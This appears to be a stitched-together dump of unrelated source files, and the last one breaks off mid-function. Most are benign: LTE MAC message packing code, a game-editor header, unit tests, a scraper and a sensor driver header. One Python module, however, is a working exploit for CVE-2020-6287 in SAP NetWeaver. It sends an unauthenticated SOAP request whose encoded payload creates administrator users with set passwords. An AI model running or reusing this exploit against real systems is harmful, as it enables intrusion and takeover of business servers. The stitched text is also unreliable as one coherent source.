CMCHKPK(SPkU8, param->expCqi, mBuf);
CMCHKPK(SPkU8, param->nDmrs, mBuf);
CMCHKPK(SPkU8, param->rv, mBuf);
CMCHKPK(SPkU8, param->isRtx, mBuf);
CMCHKPK(SPkU8, param->ndi, mBuf);
CMCHKPK(SPkU8, param->harqProcId, mBuf);
CMCHKPK(SPkU8, param->mcs, mBuf);
CMCHKPK(SPkU8, param->numRb, mBuf);
CMCHKPK(SPkU8, param->rbStart, mBuf);
CMCHKPK(SPkU8, param->hoppingBits, mBuf);
CMCHKPK(SPkU8, param->hoppingEnbld, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUePuschRecpReq
*
*
* Desc : This structure is sent from scheduler to PHY in order to request the
* reception of UEs data on PUSCH. This may contain the following:
* -# Data
* -# Data + CQI and RI
* -# Data + CQI and HARQ
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUePuschRecpReq
(
TfuUePuschRecpReq *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUePuschRecpReq(param, mBuf)
TfuUePuschRecpReq *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUePuschRecpReq)
CMCHKUNPK(SUnpkU8, ¶m->hoppingEnbld, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->hoppingBits, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rbStart, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->numRb, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->mcs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->harqProcId, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->ndi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->isRtx, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->rv, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->nDmrs, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->expCqi, mBuf);
CMCHKUNPK(SUnpkU8, ¶m->expHarq, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->mode, mBuf);
CMCHKUNPK(SUnpkU16, ¶m->size, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->modType, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuUeRecpReqInfo
*
*
* Desc : This structure is a Per UE reception request for either PUCCH or PUSCH
* data. This contains information needed by PHY to decode the data sent by the
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuUeRecpReqInfo
(
TfuUeRecpReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmPkTfuUeRecpReqInfo(param, mBuf)
TfuUeRecpReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuUeRecpReqInfo)
switch(param->type) {
case TFU_RECP_REQ_PUSCH:
CMCHKPK(cmPkTfuUePuschRecpReq, ¶m->t.puschRecpReq, mBuf);
break;
case TFU_RECP_REQ_MSG3:
CMCHKPK(cmPkTfuUeMsg3RecpReq, ¶m->t.msg3RecpReq, mBuf);
break;
case TFU_RECP_REQ_PUCCH:
CMCHKPK(cmPkTfuUePucchRecpReq, ¶m->t.pucchRecpReq, mBuf);
break;
default :
RETVALUE(RFAILED);
}
CMCHKPK(SPkU32, param->type, mBuf);
CMCHKPK(cmPkLteRnti, param->rnti, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuUeRecpReqInfo
*
*
* Desc : This structure is a Per UE reception request for either PUCCH or PUSCH
* data. This contains information needed by PHY to decode the data sent by the
* UE.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuUeRecpReqInfo
(
TfuUeRecpReqInfo *param,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuUeRecpReqInfo(param, mBuf)
TfuUeRecpReqInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuUeRecpReqInfo)
CMCHKUNPK(cmUnpkLteRnti, ¶m->rnti, mBuf);
CMCHKUNPK(SUnpkU32, (U32 *)¶m->type, mBuf);
switch(param->type) {
case TFU_RECP_REQ_PUCCH:
CMCHKUNPK(cmUnpkTfuUePucchRecpReq, ¶m->t.pucchRecpReq, mBuf);
break;
case TFU_RECP_REQ_MSG3:
CMCHKUNPK(cmUnpkTfuUeMsg3RecpReq, ¶m->t.msg3RecpReq, mBuf);
break;
case TFU_RECP_REQ_PUSCH:
CMCHKUNPK(cmUnpkTfuUePuschRecpReq, ¶m->t.puschRecpReq, mBuf);
break;
default :
RETVALUE(RFAILED);
}
RETVALUE(ROK);
}
#endif /* ifndef TFU_UPGRADE */
/*LAA: Packing and Unpacking*/
/***********************************************************
*
* Func : cmPkTfuErrIndInfo
*
*
* Desc : This structure contains information that is passed as a part of
* the ERR indication sent from PHY to MAC.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PRIVATE S16 cmPkTfuErrIndInfo
(
TfuErrIndInfo *param,
Buffer *mBuf
)
#else
PRIVATE S16 cmPkTfuErrIndInfo(param, mBuf)
TfuErrIndInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmPkTfuErrIndInfo)
CMCHKPK(cmPkLteTimingInfo, ¶m->timingInfo, mBuf);
CMCHKPK(cmPkLteCellId, param->cellId, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmUnpkTfuErrIndInfo
*
*
* Desc : This structure contains information that is passed as a part of the ERR
* indication sent from PHY to MAC.
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PRIVATE S16 cmUnpkTfuErrIndInfo
(
TfuErrIndInfo *param,
Buffer *mBuf
)
#else
PRIVATE S16 cmUnpkTfuErrIndInfo(param, mBuf)
TfuErrIndInfo *param;
Buffer *mBuf;
#endif
{
TRC3(cmUnpkTfuErrIndInfo)
CMCHKUNPK(cmUnpkLteCellId, ¶m->cellId, mBuf);
CMCHKUNPK(cmUnpkLteTimingInfo, ¶m->timingInfo, mBuf);
RETVALUE(ROK);
}
/***********************************************************
*
* Func : cmPkTfuErrInd
*
*
* This API is invoked by PHY to send ERROR INDICATION to scheduler
* Currently invoked in the cases when the Unlicensed SCell transmission
* fails.
* This API contains the Cell and subframe information for which the
* transmission failed.
*
* @param[in] Pst *pst
* @param[in] SuId suId
* @param[in] TfuErrIndInfo *errIndInfo
* @return S16
* -# ROK
* -# RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmPkTfuErrInd
(
Pst * pst,
SuId suId,
TfuErrIndInfo * errInd
)
#else
PUBLIC S16 cmPkTfuErrInd(pst, suId, errInd)
Pst * pst;
SuId suId;
TfuErrIndInfo * errInd;
#endif
{
Buffer *mBuf = NULLP;
TRC3(cmPkTfuErrInd)
if (SGetMsg(pst->region, pst->pool, &mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU105, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
RETVALUE(RFAILED);
}
if (pst->selector == TFU_SEL_LC) {
if (cmPkTfuErrIndInfo(errInd, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU106, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmPkPtr((PTR)errInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC Packing failed");
#endif
/*MS_FIX:71858:Changed to SPutSBuf as being allocated with SGetSBuf*/
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (SPkS16(suId, mBuf) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU107, (ErrVal)0, "Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if (SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo)) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU108, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
pst->event = (Event) EVTTFUERRIND;
RETVALUE(SPstTsk(pst,mBuf));
}
/***********************************************************
*
* Func : cmUnpkTfuErrInd
*
*
* This API is invoked by PHY to send ERROR INDICATION to scheduler
* Currently invoked in the cases when the Unlicensed SCell transmission
* fails.
* This API contains the Cell and subframe information for which the
* transmission failed.
* @param pst Pointer to the post structure.
* @param suId SAP ID of the service user.
* @param errInd Pointer to the TfuErrIndInfo.
* @return ROK/RFAILED
*
*
* Ret : S16
*
* Notes:
*
* File :
*
**********************************************************/
#ifdef ANSI
PUBLIC S16 cmUnpkTfuErrInd
(
TfuErrInd func,
Pst *pst,
Buffer *mBuf
)
#else
PUBLIC S16 cmUnpkTfuErrInd(func, pst, mBuf)
TfuErrInd func;
Pst *pst;
Buffer *mBuf;
#endif
{
SuId suId;
TfuErrIndInfo *errInd;
TRC3(cmUnpkTfuErrInd)
if (SUnpkS16(&suId, mBuf) != ROK) {
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU109, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
if (pst->selector != TFU_SEL_LWLC) {
if ((SGetSBuf(pst->region, pst->pool, (Data **)&errInd, sizeof(TfuErrIndInfo))) != ROK) {
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU110, (ErrVal)0, "Packing failed");
#endif
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
if (pst->selector == TFU_SEL_LC)
{
if (cmUnpkTfuErrIndInfo(errInd, mBuf) != ROK) {
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
TFU_FREE_MSG(mBuf);
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFU111, (ErrVal)0, "Packing failed");
#endif
RETVALUE(RFAILED);
}
}
else if(pst->selector == TFU_SEL_LWLC)
{
if (cmUnpkPtr((PTR *)&errInd, mBuf) != ROK)
{
#if (ERRCLASS & ERRCLS_ADD_RES)
SLogError(pst->srcEnt, pst->srcInst, pst->srcProcId,
__FILE__, __LINE__, (ErrCls)ERRCLS_ADD_RES,
(ErrVal)ETFUXXX, (ErrVal)0, "LWLC un-Packing failed");
#endif
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
TFU_FREE_MSG(mBuf);
RETVALUE(RFAILED);
}
}
TFU_FREE_MSG(mBuf);
/* [ccpu00141698]-MOD- MAC/SCH does not free the TTI ind anymore */
(*func)(pst, suId, errInd);
SPutSBuf(pst->region, pst->pool, (Data *)errInd, sizeof(TfuErrIndInfo));
RETVALUE(ROK);
}
#endif /* if defined(LCTFU) */
/**********************************************************************
End of file: tfu.c@@/main/8 - Wed Jul 27 12:18:38 2011
**********************************************************************/
/**********************************************************************
Notes:
**********************************************************************/
/**********************************************************************
Revision history:
**********************************************************************/
/********************************************************************90**
ver pat init description
------------ -------- ---- ----------------------------------------------
/main/1 --- sm 1. Initial Release.
/main/2 --- sm 1. LTE MAC 2.1 release
/main/3 --- tfu_c_001.main_2 sm 1. ccpu00107387: To include
the length and ModOrder in
DataRecp Req.
2. Pk/UnPk should take the
nmbOfTBs.
/main/5 --- tfu_c_001.main_3 rk 1. Adding Pk/UnPk for hqProcId
/main/5 --- tfu_c_001.main_4 ap 1. Added support for MIMO
/main/6 --- tfu_c_001.main_5 sd 1.Removed dependency on MIMO flag.
/main/7 --- tfu_c_001.main_6 dv 1.Support for TFU upgrade.
/main/8 --- tfu_c_001.main_7 dv 1.Support for TFU upgrade.
*********************************************************************91*/
|
//
// Copyright (c) 2018 Rokas Kupstys
// Copyright (c) 2017 Eugene Kozlov
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
#pragma once
#include <Urho3D/Precompiled.h>
#include <Urho3D/Math/StringHash.h>
#include <Urho3D/Core/StringUtils.h>
#include <ImGui/imgui.h>
#include <Toolbox/SystemUI/AttributeInspector.h>
#include <Urho3D/SystemUI/SystemUI.h>
#include <Toolbox/SystemUI/ImGuiDock.h>
#include <Urho3D/Scene/Node.h>
namespace Urho3D
{
class Tab : public Object
{
URHO3D_OBJECT(Tab, Object);
public:
/// Construct.
explicit Tab(Context* context, StringHash id, const String& afterDockName, ui::DockSlot position);
/// Render scene hierarchy window.
virtual void RenderNodeTree() = 0;
/// Render inspector window.
virtual void RenderInspector() = 0;
/// Render content of tab window.
virtual bool RenderWindowContent() = 0;
/// Render toolbar buttons.
virtual void RenderToolbarButtons() { }
/// Update window when it is active.
virtual void OnActiveUpdate() { }
/// Render scene window.
virtual bool RenderWindow();
/// Save project data to xml.
virtual void SaveProject(JSONValue& tab) { }
/// Load project data from xml.
virtual void LoadProject(const JSONValue& tab) { }
/// Load a file from resource path.
virtual void LoadResource(const String& resourcePath) { }
/// Save tab contents to a resource file.
virtual bool SaveResource(const String& resourcePath) { return false; }
/// Save tab contents to a previously loaded resource file.
bool SaveResource() { return SaveResource(String::EMPTY); }
/// Set scene view tab title.
void SetTitle(const String& title);
/// Get scene view tab title.
String GetTitle() const { return title_; }
/// Returns title which uniquely identifies scene tab in imgui.
String GetUniqueTitle() const { return uniqueTitle_;}
/// Return true if scene tab is active and focused.
bool IsActive() const { return isActive_; }
/// Return true if scene view was rendered on this frame.
bool IsRendered() const { return isRendered_; }
/// Return unuque object id.
StringHash GetID() const { return id_; }
protected:
///
virtual IntRect UpdateViewRect();
/// Unique scene id.
StringHash id_;
/// Scene title. Should be unique.
String title_;
/// Title with id appended to it. Used as unique window name.
String uniqueTitle_;
/// Scene dock is active and window is focused.
bool isActive_ = false;
/// Flag set to true when dock contents were visible. Used for tracking "appearing" effect.
bool isRendered_ = false;
/// Current window flags.
ImGuiWindowFlags windowFlags_ = 0;
/// Attribute inspector.
AttributeInspector inspector_;
/// Name of sibling dock for initial placement.
String placeAfter_;
/// Position where this scene view should be docked initially.
ui::DockSlot placePosition_;
/// Last known mouse position when it was visible.
IntVector2 lastMousePosition_;
};
}
|
"""
Tests for the LossFunction class.
"""
import unittest
import numpy as np
from skill.utils import LossFunctions
class LossFunctionsTestCase(unittest.TestCase):
"""
Test case for the LossFunctions() class.
"""
def test_mape_returns_correct_numbers(self):
"""
LossFunctions.mape() returns correct fraction.
"""
A = np.array(list(range(1, 11)), dtype='float64')
B = A * 1.1
result = LossFunctions.mape(A, B)
self.assertAlmostEqual(result, 10)
def test_rmse_returns_correct_numbers(self):
"""
LossFunctions.rmse() returns correct fraction.
"""
A = np.array(list(range(1, 11)), dtype='float64')
B = A * 1.1
result = LossFunctions.rmse(A, B)
self.assertAlmostEqual(result, 0.62)
def test_mse_returns_correct_numbers(self):
"""
LossFunctions.mse() returns correct fraction.
"""
A = np.array(list(range(1, 11)), dtype='float64')
B = A * 1.1
result = LossFunctions.mse(A, B)
self.assertAlmostEqual(result, 0.39)
|
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''SAP NetWeaver - Remote Admin addition''',
"description": '''SAP NetWeaver AS JAVA (LM Configuration Wizard), versions - 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system, leading to Missing Authentication Check.''',
"severity": "critical",
"references": [
"https://launchpad.support.sap.com/#/notes/2934135",
"https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675",
"https://www.onapsis.com/recon-sap-cyber-security-vulnerability",
"https://github.com/chipik/SAP_RECON"
],
"classification": {
"cvss-metrics": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"cvss-score": "",
"cve-id": "CVE-2020-6287",
"cwe-id": "CWE-306"
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2020", "sap"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
try:
url = format_url(url)
path = """/CTCWebService/CTCWebServiceBean/ConfigServlet"""
method = "POST"
data = """<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>
CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA==
</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>"""
headers = {'Content-Type': 'text/xml; charset=UTF-8', 'Connection': 'close'}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if ("""CTCWebServiceSi""" in resp0.text and """SOAP-ENV""" in resp0.text) and (resp0.status_code == 200) and ("""text/xml""" in str(resp0.headers) and """SAP NetWeaver Application Server""" in str(resp0.headers)):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url
|
const cheerio = require('cheerio')
const request = require('request')
const cachedRequest = require('cached-request')(request)
const url = require('../config/url')
cachedRequest.setCacheDirectory('./tmp/match')
const getMatches = (element, title) => {
const $ = cheerio.load(element)
let text
if (title === 'recent') {
text = `${title} results`
} else {
text = `${title} matches`
}
const matches = $('tbody tr').map((index, element) => {
const opponent1 = $(element).find('td:nth-child(1) .opp1 span:nth-child(1)').text()
const opponent2 = $(element).find('td:nth-child(1) .opp2 span:nth-child(2)').text()
const score1 = $(element).find('.type-specific .score:nth-child(1)').text() || false
const score2 = $(element).find('.type-specific .score:nth-child(2)').text() || false
const estimate = $(element).find('td:nth-child(2) .live-in').text().trim() || false
const matchLink = $(element).find('a').attr('href')
const tournamentImage = url.link($(element).find('.tournament img').attr('src'))
const tournamentLink = $(element).find('.tournament a').attr('href')
return {
opponent1,
opponent2,
score1,
score2,
estimate,
matchLink,
tournamentImage,
tournamentLink
}
}).get()
return {
text,
matches: (matches.length > 0) ? matches : false
}
}
module.exports = (type, callback) => {
cachedRequest({
url: url.match(),
ttl: 900000
}, (error, response, body) => {
if (error) callback(error)
const $ = cheerio.load(body)
switch (type) {
case 'live':
callback(getMatches($('#col1 .box:nth-child(1)').html(), type))
break
case 'upcoming':
callback(getMatches($('#col1 .box:nth-child(2)').html(), type))
break
case 'recent':
callback(getMatches($('#col1 .box:nth-child(3)').html(), type))
break
default:
break
}
})
}
|
import sys, random
usage = "usage: python src/permute_topics.py ylt_file_with_topic_prefixes"
if len(sys.argv) < 2:
print usage
sys.exit(-1)
folder = '/'.join(sys.argv[1].split('/')[:-1])
sourcename = sys.argv[1].split('/')[-1]
if not "_topic_" in sourcename:
print usage
sys.exit(-1)
#outputname = sourcename.replace('_topic_', '_random_topic_')
lines = []
with open(sys.argv[1]) as f:
for line in f:
lines.append(line)
new_topic_number = str(random.randint(0, 6)) # TODO number of topics
for i, line in enumerate(lines):
current_topic_number = line.split()[0][2] # TODO currently only with single digits
print "_t"+new_topic_number + " " + " ".join(line.split()[1:])
if i+1 < len(lines) and lines[i+1].split()[0][2] != current_topic_number:
new_topic_number = str(random.randint(0, 6))
|
export const ELEVATOR_DOOR = {
CLOSED: 'CLOSED',
OPENED: 'OPENED',
};
|
#ifndef DS18B20_H
#define DS18B20_H
#include "../../lib/debug.h"
#include "../../lib/common.h"
#include "../../lib/1wire/main.h"
#include "../../lib/1wire/common.h"
#define DS18B20_SCRATCHPAD_LENGTH 9
#define DS18B20_ADDRESS_LENGTH 8
#define DS18B20_SCRATCHPAD_CRC_INDEX 8
#define DS18B20_ADDRESS_CRC_INDEX 7
#define DS18B20_EEPROM_BYTE_NUM 3
#define DS18B20_SCRATCHPAD_CONFIG_REG 4
#define DS18B20_WRITE_FIRST_INDEX 2
#define DS18B20_WRITE_LENGTH 3
#define DS18B20_CMD_CONVERTT 0x44
#define DS18B20_CMD_WRITE_SCRATCHPAD 0x4E
#define DS18B20_CMD_READ_SCRATCHPAD 0xBE
#define DS18B20_CMD_COPY_SCRATCHPAD 0x48
#define DS18B20_CMD_RECALL 0xB8
#define DS18B20_RESOLUTION_9BIT_REGISTER 0x1f
#define DS18B20_RESOLUTION_10BIT_REGISTER 0x3f
#define DS18B20_RESOLUTION_11BIT_REGISTER 0x5f
#define DS18B20_RESOLUTION_12BIT_REGISTER 0x7f
#define DS18B20_RESOLUTION_9BIT_TCONV_MS 94
#define DS18B20_RESOLUTION_10BIT_TCONV_MS 188
#define DS18B20_RESOLUTION_11BIT_TCONV_MS 375
#define DS18B20_RESOLUTION_12BIT_TCONV_MS 750
typedef enum{
DS18B20_RESOLUTION_UNKNOWN=0,
DS18B20_RESOLUTION_9BIT=9,
DS18B20_RESOLUTION_10BIT=10,
DS18B20_RESOLUTION_11BIT=11,
DS18B20_RESOLUTION_12BIT=12
} ds18b20_resolution_t;
enum{
DS18B20_ERROR,
DS18B20_BUSY,
DS18B20_DONE
};
typedef struct ds18b20_st Ds18b20;
struct ds18b20_st{
uint8_t address[DS18B20_ADDRESS_LENGTH];
uint8_t scratchpad[DS18B20_SCRATCHPAD_LENGTH];
uint8_t data;
int (*control)(Ds18b20 *, Owire *);
int (*read)(Ds18b20 *, Owire *, double *);
int (*getResolution)(Ds18b20 *, Owire *, ds18b20_resolution_t *);
int (*setResolution)(Ds18b20 *, Owire *, ds18b20_resolution_t);
int (*readRom)(Ds18b20 *, Owire *);
int (*requestTemperature)(Ds18b20 *, Owire *);
};
#define ds18b20_read(self, port, tempr) (self)->read((self), port, tempr)
#define ds18b20_getResolution(self, port, resolution) (self)->getResolution((self), port, resolution)
#define ds18b20_setResolution(self, port, resolution) (self)->setResolution((self), port, resolution)
#define ds18b20_readRom(self, port) (self)->readRom((self), port)
#define ds18b20_requestTemperature(self, port) (self)->requestTemperature((self), port)
extern void ds18b20_begin(Ds18b20 *self);
extern void ds18b20_printRom(Ds18b20 *self, HardwareSerial *serial);
extern void ds18b20_printScratchpad(Ds18b20 *self, HardwareSerial *serial);
extern void ds18b20_setAddress(Ds18b20 *self, const uint8_t *address);
extern unsigned long ds18b20_getTconvByResolution(ds18b20_resolution_t resolution);
extern int ds18b20_checkResolution(int resolution);
#endif
|
from orkg.utils import NamespacedClient, query_params, dict_to_url_params
from orkg.out import OrkgResponse
class StatementsClient(NamespacedClient):
def by_id(self, id):
self.client.backend._append_slash = True
response = self.client.backend.statements(id).GET()
return OrkgResponse(response)
@query_params("page", "items", "sortBy", "desc")
def get(self, params=None):
if len(params) > 0:
self.client.backend._append_slash = False
response = self.client.backend.statements.GET(dict_to_url_params(params))
else:
self.client.backend._append_slash = True
response = self.client.backend.statements.GET()
return OrkgResponse(response)
@query_params("page", "items", "sortBy", "desc")
def get_by_subject(self, subject_id, params=None):
if len(params) > 0:
self.client.backend._append_slash = False
response = self.client.backend.statements.subject(subject_id).GET(dict_to_url_params(params))
else:
self.client.backend._append_slash = True
response = self.client.backend.statements.subject(subject_id).GET()
return OrkgResponse(response)
@query_params("page", "items", "sortBy", "desc")
def get_by_predicate(self, predicate_id, params=None):
if len(params) > 0:
self.client.backend._append_slash = False
response = self.client.backend.statements.predicate(predicate_id).GET(dict_to_url_params(params))
else:
self.client.backend._append_slash = True
response = self.client.backend.statements.predicate(predicate_id).GET()
return OrkgResponse(response)
@query_params("page", "items", "sortBy", "desc")
def get_by_object(self, object_id, params=None):
if len(params) > 0:
self.client.backend._append_slash = False
response = self.client.backend.statements.object(object_id).GET(dict_to_url_params(params))
else:
self.client.backend._append_slash = True
response = self.client.backend.statements.object(object_id).GET()
return OrkgResponse(response)
@query_params("subject_id", "predicate_id", "object")
def add(self, params=None):
if len(params) == 0:
raise ValueError("all parameters must be provided")
